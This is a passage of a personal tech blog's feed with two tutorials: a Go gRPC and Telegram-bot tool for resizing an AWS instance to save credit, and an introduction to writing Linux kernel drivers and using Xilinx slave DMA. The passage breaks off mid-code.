    <category term="HomeKit" scheme="https://suikammd.github.io/tags/HomeKit/"/>
    
  </entry>
  
  <entry>
    <title>Saving Money on AWS</title>
    <link href="https://suikammd.github.io/2019/05/29/AWS-Save-Money/"/>
    <id>https://suikammd.github.io/2019/05/29/AWS-Save-Money/</id>
    <published>2019-05-29T05:33:57.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Objective"><a href="#Objective" class="headerlink" title="Objective"></a>Objective</h1><p>Building PetaLinux requires at least four CPU cores. I had run out of GCE virtual machine resources, and AWS compute resources are very expensive. Fortunately, I still had $100 in free credit. So I decided to use a very hacky approach (because I am not skilled enough to do better): when preparing to build, stop the AWS instance, upgrade it from t2.micro (free on AWS) to t2.xlarge, then start it and send its public IP address to a Telegram bot. Once the build is complete, stop the instance, downgrade it, and start it again.</p><p>I also want the Telegram bot to send me billing information on a schedule, since $100 can disappear in the blink of an eye.</p><span id="more"></span><h1 id="Environment"><a href="#Environment" class="headerlink" title="Environment"></a>Environment</h1><p>AWS Instance 1 (Server t2.micro)</p><p>AWS Instance 2 (Client  t2.xlarge &#x2F; t2.micro)</p><p>Telegram Bot</p><h1 id="Communication"><a href="#Communication" class="headerlink" title="Communication"></a>Communication</h1><p>At first, I did not consider that connecting to the instance over SSH requires its public IP address, so the script ended as soon as the instance was upgraded and restarted. After considering the IP address issue, I decided to send it to a Telegram bot. The approach I ultimately adopted was to register an object on the server through RPC and expose the service using the object’s type name. The client calls these methods remotely. The public IP address is sent to the Telegram bot after the upgrade and reboot are complete. Of course, RPC is not necessary; I could send every request through the Telegram bot instead, which would look nicer.</p><ol><li><p>RPC</p><p>Use Go’s <code>net/rpc</code> package.</p></li><li><p>Telegram Bot</p><p>See <a href="https://github.com/go-telegram-bot-api/telegram-bot-api/blob/master/README.md">Using the Telegram Bot</a>.</p><ul><li>Send <code>/newbot</code> to Telegram’s BotFather.</li><li>Enter a bot name ending in <code>bot</code>.</li><li>Get the bot token returned by BotFather.</li></ul></li></ol><h1 id="Server-x2F-Client-Implementation"><a href="#Server-x2F-Client-Implementation" class="headerlink" title="Server &#x2F; Client Implementation"></a>Server &#x2F; Client Implementation</h1><p>See <a href="https://github.com/suikammd/AWS-Save-Money">AWS-save-money</a> for the complete code.</p><p>The code is organized into four directories: server, client, conf, and proto. server contains the server code; client contains the client code; conf stores the server’s public and private keys; and proto stores the protobuf files.</p><ul><li><p>conf: Stores the generated public and private keys for the server.</p><ol><li><p>Secret key</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -genkey -name secp384r1 -out server.key</span><br></pre></td></tr></table></figure></li><li><p>Public key</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl req -new -x509 -sha256 -key server.key -out server.pem -days 3650</span><br></pre></td></tr></table></figure></li></ol></li><li><p>proto</p><p>First, write some <code>.proto</code> files defining the <code>message</code> types to be transmitted and the <code>service</code>.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto3&quot;</span>; <span class="comment">// version 3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> proto; <span class="comment">// specify package</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// define service</span></span><br><span class="line">service ServerClient &#123;</span><br><span class="line">    rpc StartInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc DescribeInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc StopInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc ModifyUpInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc ModifyDownInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// define message to transfer: Request, Response</span></span><br><span class="line">message Request &#123;</span><br><span class="line">    bytes line = <span class="number">1</span>; <span class="comment">// different number means its unique</span></span><br><span class="line">    <span class="type">bool</span> ack = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">message Response &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Then generate the corresponding Go files from the proto files using the following command:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">protoc --go_out=plugins=grpc:. service.proto</span><br></pre></td></tr></table></figure></li></ul><p>Before using this code, define these parameters manually:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">&quot;github.com/aws/aws-sdk-go/aws&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line">InstanceID       *<span class="type">string</span> = aws.String(<span class="string">&quot;&quot;</span>)</span><br><span class="line">BotToken         <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">UpInstanceType   <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">DownInstanceType <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">ChatID           <span class="type">int</span>     = <span class="number">123456</span></span><br><span class="line">Region           *<span class="type">string</span> = aws.String(<span class="string">&quot;&quot;</span>)</span><br><span class="line">AWSID            <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">AWSSecret        <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><p>Server</p><ol><li><p>Configure the server’s listening port.</p></li><li><p>Generate the server’s public and private keys.</p></li><li><p>Register a <code>Listener</code> object on the server with <code>type Listener ec2.EC2</code>. After creating this object, register its corresponding services. These services must be exposed.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Service EC2.ec2</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="comment">// listen on port 1234</span></span><br><span class="line">listener, err := net.Listen(<span class="string">&quot;tcp&quot;</span>, <span class="string">&quot;:1234&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(<span class="string">&quot;Listen TCP error: &quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// init server</span></span><br><span class="line">c, err := cre.NewServerTLSFromFile(<span class="string">&quot;../conf/server.pem&quot;</span>, <span class="string">&quot;../conf/server.key&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;GRPC credentials.NewServerTLSFromFile err : %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">server := grpc.NewServer(grpc.Creds(c))</span><br><span class="line">pb.RegisterServerClientServer(server, NewEC2Sess())</span><br><span class="line">reflection.Register(server)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> err := server.Serve(listener); err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;Failed to Serve %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>Implement the required functionality.</p><p>Implement the functions to be exposed according to your requirements.</p></li></ol></li><li><p>Client</p><p>The required operations are starting, stopping, upgrading, and downgrading the instance. Use a <code>switch</code> statement to select one.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c, err := credentials.NewClientTLSFromFile(<span class="string">&quot;../conf/server.pem&quot;</span>, <span class="string">&quot;Suika&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;credentials.NewClientTLSFromFile err: err&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">conn, err := grpc.Dial(InstanceIP + <span class="string">&quot;:1234&quot;</span>, grpc.WithTransportCredentials(c))</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;grpc.Dail error %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">defer</span> conn.Close()</span><br><span class="line"></span><br><span class="line">client := pb.NewServerClientClient(conn)</span><br><span class="line"><span class="comment">// flags</span></span><br><span class="line"><span class="keyword">var</span> in <span class="type">string</span></span><br><span class="line">flag.StringVar(&amp;in, <span class="string">&quot;s&quot;</span>, in, <span class="string">&quot;name&quot;</span>)</span><br><span class="line">flag.Parse()</span><br><span class="line"><span class="keyword">var</span> line []<span class="type">byte</span> = []<span class="type">byte</span>(in)</span><br><span class="line">method := <span class="type">string</span>(line)</span><br><span class="line">fmt.Printf(<span class="string">&quot;Current Method is %s\n&quot;</span>, method)</span><br><span class="line"><span class="keyword">var</span> reply <span class="type">bool</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> method &#123;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;b&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Restart and Modify to Build&quot;</span>)</span><br><span class="line">_, err = client.ModifyUpInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;f&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Finish Building&quot;</span>)</span><br><span class="line">_, err = client.ModifyDownInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;start&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Start Instance&quot;</span>)</span><br><span class="line">_, err = client.StartInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;stop&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Stop Instace&quot;</span>)</span><br><span class="line">_, err = client.StopInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;des&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Describe Instace&quot;</span>)</span><br><span class="line">_, err = client.DescribeInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">log.Fatal(<span class="string">&quot;No Such Method!!!&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Objective&quot;&gt;&lt;a href=&quot;#Objective&quot; class=&quot;headerlink&quot; title=&quot;Objective&quot;&gt;&lt;/a&gt;Objective&lt;/h1&gt;&lt;p&gt;Building PetaLinux requires at least four CPU cores. I had run out of GCE virtual machine resources, and AWS compute resources are very expensive. Fortunately, I still had $100 in free credit. So I decided to use a very hacky approach (because I am not skilled enough to do better): when preparing to build, stop the AWS instance, upgrade it from t2.micro (free on AWS) to t2.xlarge, then start it and send its public IP address to a Telegram bot. Once the build is complete, stop the instance, downgrade it, and start it again.&lt;/p&gt;
&lt;p&gt;I also want the Telegram bot to send me billing information on a schedule, since $100 can disappear in the blink of an eye.&lt;/p&gt;</summary>
    
    
    
    
    <category term="Cloud" scheme="https://suikammd.github.io/tags/Cloud/"/>
    
  </entry>
  
  <entry>
    <title>PetaLinux DMA Driver</title>
    <link href="https://suikammd.github.io/2019/05/12/write-linux-dma-driver/"/>
    <id>https://suikammd.github.io/2019/05/12/write-linux-dma-driver/</id>
    <published>2019-05-12T02:28:30.000Z</published>
    <updated>2026-11-19T12:58:15.311Z</updated>
    
    <content type="html"><![CDATA[<p>I plan to first organize the basic knowledge of drivers, and then explain how to write device tree-related DTS files.</p><h1 id="The-Simplest-Kernel-Driver-Code-Example"><a href="#The-Simplest-Kernel-Driver-Code-Example" class="headerlink" title="The Simplest Kernel Driver Code Example"></a>The Simplest Kernel Driver Code Example</h1><p>First, I’ll use the simplest kernel driver code as an example to explain how to write and compile driver code.</p><p>Kernel driver code must contain at least two functions: an init function (called by insmod) and an exit function (called by rmmod).</p><p>A simple kernel driver code example is shown below:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/version.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">init_mod</span> <span class="params">( <span class="type">void</span> )</span> <span class="comment">/* Constructor */</span></span><br><span class="line">&#123;</span><br><span class="line">    printk ( KERN_INFO <span class="string">&quot; Module1 start\ n &quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">end_mod</span> <span class="params">( <span class="type">void</span> )</span> <span class="comment">/* Destructor */</span></span><br><span class="line">&#123;</span><br><span class="line">printk ( KERN_INFO <span class="string">&quot; Module1 end\ n &quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">module_init ( init_mod );</span><br><span class="line">module_exit ( end_mod );</span><br><span class="line">MODULE_LICENSE (<span class="string">&quot; GPL &quot;</span>);</span><br><span class="line">MODULE_AUTHOR (<span class="string">&quot; SUIKAMMD&quot;</span>);</span><br><span class="line">MODULE_DESCRIPTION (<span class="string">&quot; Driver Module &quot;</span>);</span><br></pre></td></tr></table></figure><span id="more"></span><p>Compiling a driver requires the corresponding kernel headers. You can install the system’s kernel headers with the following commands; they are installed in &#x2F;usr&#x2F;src&#x2F;linux.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install linux-headers-$(uname -r)</span><br></pre></td></tr></table></figure><p>An example Makefile is shown below:</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ifneq</span> ($&#123;KERNELRELEASE&#125;,)</span><br><span class="line">obj-m := module.o</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">KERNEL_SOURCE := /usr/src/<span class="variable">$(header version)</span></span><br><span class="line">PWD := <span class="variable">$(<span class="built_in">shell</span> pwd)</span></span><br><span class="line"><span class="section">default:</span></span><br><span class="line">$&#123;MAKE&#125; -C $&#123;KERNEL_SOURCE&#125; M=$&#123;PWD&#125; modules</span><br><span class="line">clean :</span><br><span class="line">$&#123;MAKE&#125; -C $&#123;KERNEL_SOURCE&#125; M=$&#123;PWD&#125; clean</span><br><span class="line"><span class="keyword">endif</span></span><br></pre></td></tr></table></figure><p>Compared with a Makefile for compiling non-kernel driver code, two points may be confusing:</p><ol><li>What is KERNELRELEASE?</li><li>When is obj-m :&#x3D; module executed?</li></ol><p>In fact, make runs twice here: once on the Makefile in the current directory and once on the Makefile in <code>/usr/src/linux</code>. <code>KERNELRELEASE</code> is not defined in the current directory, so the statements under <code>else</code> are executed. When make is run without arguments, it executes the contents of <code>default</code> by default. In the <code>default</code> statement, <code>make -C</code> switches to the kernel source directory and reads the Makefile there. <code>M=$&#123;PWD&#125;</code> tells make to return to the current directory and read its Makefile again from the beginning, compiling kernel source files to generate the corresponding .o files. When returning from the kernel source directory, <code>KERNELRELEASE</code> has already been defined, so make reads the content before <code>else</code> and combines the intermediate files to generate the .ko file. After compilation, run <code>insmod module.ko</code> to load the kernel module, use <code>rm module</code> to remove the module, and use <code>dmesg</code> to inspect kernel messages to determine whether the module was loaded or removed successfully.</p><p>After running <code>make</code> in the current directory, a series of files is generated: <code>device.ko  device.mod.c  device.mod.o  device.o modules.order  Module.symvers</code>. Then run <code>sudo insmod device.ko</code> to load the module into the kernel and use <code>dmesg tail</code> to display recent Linux kernel messages. If the output is <code>Module start</code>, the module was loaded successfully. Afterward, use <code>sudo rmmod device</code> to remove the module and <code>dmesg tail</code> again to display recent Linux kernel messages. If the output is <code>Module end</code>, the module was removed successfully.</p><h1 id="A-Slightly-More-Complex-Kernel-Driver-Code-Example"><a href="#A-Slightly-More-Complex-Kernel-Driver-Code-Example" class="headerlink" title="A Slightly More Complex Kernel Driver Code Example"></a>A Slightly More Complex Kernel Driver Code Example</h1><p>The above is only a very simple example; it does not even bind the driver to a device. A complete driver code example is given below. Before writing the driver code, use the command <code>mknod -m 0666 /dev/mydev 240 0</code> to create the <code>mydev</code> device, with major number 240 and minor number 0. The driver code is as follows:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/fs.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/version.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">mydev_open</span><span class="params">(<span class="keyword">struct</span> inode *inode, <span class="keyword">struct</span> file *filep)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Device opened\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">mydev_release</span><span class="params">(<span class="keyword">struct</span> inode *inode, <span class="keyword">struct</span> file *filep)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Device release\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">ssize_t</span> <span class="title function_">mydev_read</span><span class="params">(<span class="keyword">struct</span> file *filep, <span class="type">char</span> *buf, <span class="type">size_t</span> count, <span class="type">loff_t</span> *f_pos)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Writing to the device...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">ssize_t</span> <span class="title function_">mydev_write</span><span class="params">(<span class="keyword">struct</span> file *filep, <span class="type">const</span> <span class="type">char</span> *buf, <span class="type">size_t</span> count, <span class="type">loff_t</span> *f_pos)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Writing to the device...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> <span class="title">mydev_fops</span> =</span></span><br><span class="line">&#123;</span><br><span class="line">        owner: THIS_MODULE,</span><br><span class="line">        open: mydev_open,</span><br><span class="line">        release: mydev_release,</span><br><span class="line">        read: mydev_read,</span><br><span class="line">        write: mydev_write,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">init_mydevDriver</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">int</span> result;</span><br><span class="line">        <span class="keyword">if</span> ((result = register_chrdev(<span class="number">240</span>, <span class="string">&quot;mydev&quot;</span>, &amp;mydev_fops)) &lt; <span class="number">0</span>)</span><br><span class="line">                <span class="keyword">goto</span> fail;</span><br><span class="line">        printk(<span class="string">&quot;my device driver loaded...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        fail:</span><br><span class="line">                <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">exit_mydevDriver</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        unregister_chrdev(<span class="number">240</span>, <span class="string">&quot;mydev&quot;</span>);</span><br><span class="line">        printk(<span class="string">&quot;mydev driver unloaded...\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(init_mydevDriver);</span><br><span class="line">module_exit(exit_mydevDriver);</span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot; GPL &quot;</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">&quot; SUIKA &quot;</span>);</span><br><span class="line">MODULE_DESCRIPTION(<span class="string">&quot; Test Driver Module &quot;</span>);</span><br></pre></td></tr></table></figure><p>The Makefile is almost identical to the example above. The test code is given below:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">char</span> buffer[<span class="number">1</span>];</span><br><span class="line">        <span class="type">int</span> fd;</span><br><span class="line">        fd=open(<span class="string">&quot;/dev/mydev&quot;</span>, O_RDWR);</span><br><span class="line">        buffer[<span class="number">0</span>]=<span class="number">0x00</span>;</span><br><span class="line">        write(fd, buffer, <span class="number">1</span>);</span><br><span class="line">        read(fd, buffer);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Value : 0x%02x\n&quot;</span>, buffer[<span class="number">0</span>]);</span><br><span class="line">        close(fd);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p>The writing and compilation of driver code have been introduced above. Next, I’ll introduce Xilinx’s DMAENGINE and the basic knowledge of DMA.</p><h1 id="DMA-Fundamentals"><a href="#DMA-Fundamentals" class="headerlink" title="DMA Fundamentals"></a>DMA Fundamentals</h1><p>DMA is generally a driver used in kernel space; using it in user space is more complicated.</p><p>There are two types of DMA: <code>Slave-DMA</code> and <code>Async TX</code>:</p><ol><li><p><code>Slave-DMA</code>: memory-&gt;device, device-&gt;memory, device-&gt;device</p><p>The term slave refers to the device participating in the DMA transfer; the corresponding “master” is the DMA controller itself.</p></li><li><p><code>Async TX</code>: memory-&gt;memory</p></li></ol><p>Here, I mainly introduce how to use slave DMA in the following five steps. For details, refer to the <a href="https://github.com/Xilinx/linux-xlnx/blob/master/Documentation/driver-api/dmaengine/client.rst">Xilinx DMA slave API</a>:</p><ol><li><p>Request a DMA channel</p><p>A DMA channel (structure: struct dam_chan) is provided by a DMA controller (provider) and used by a consumer (client, driver, slave driver). The client requests a channel through the <code>struct dma_chan *dma_request_chan(struct device *dev, const char *name)</code> API and releases the channel through the <code>void dma_release_channel(struct dma_chan *chan)</code> API.</p></li><li><p>Configure DMA channel parameters</p><p>After obtaining a DMA channel, the driver configures the channel according to the actual conditions and the capabilities of the DMA controller. It passes <code>struct dma_slave_config</code> to the DMA controller through the <code>int dmaengine_slave_config(struct dma_chan *chan, struct dma_slave_config *config)</code> API.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#struct dma_slave_config</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span 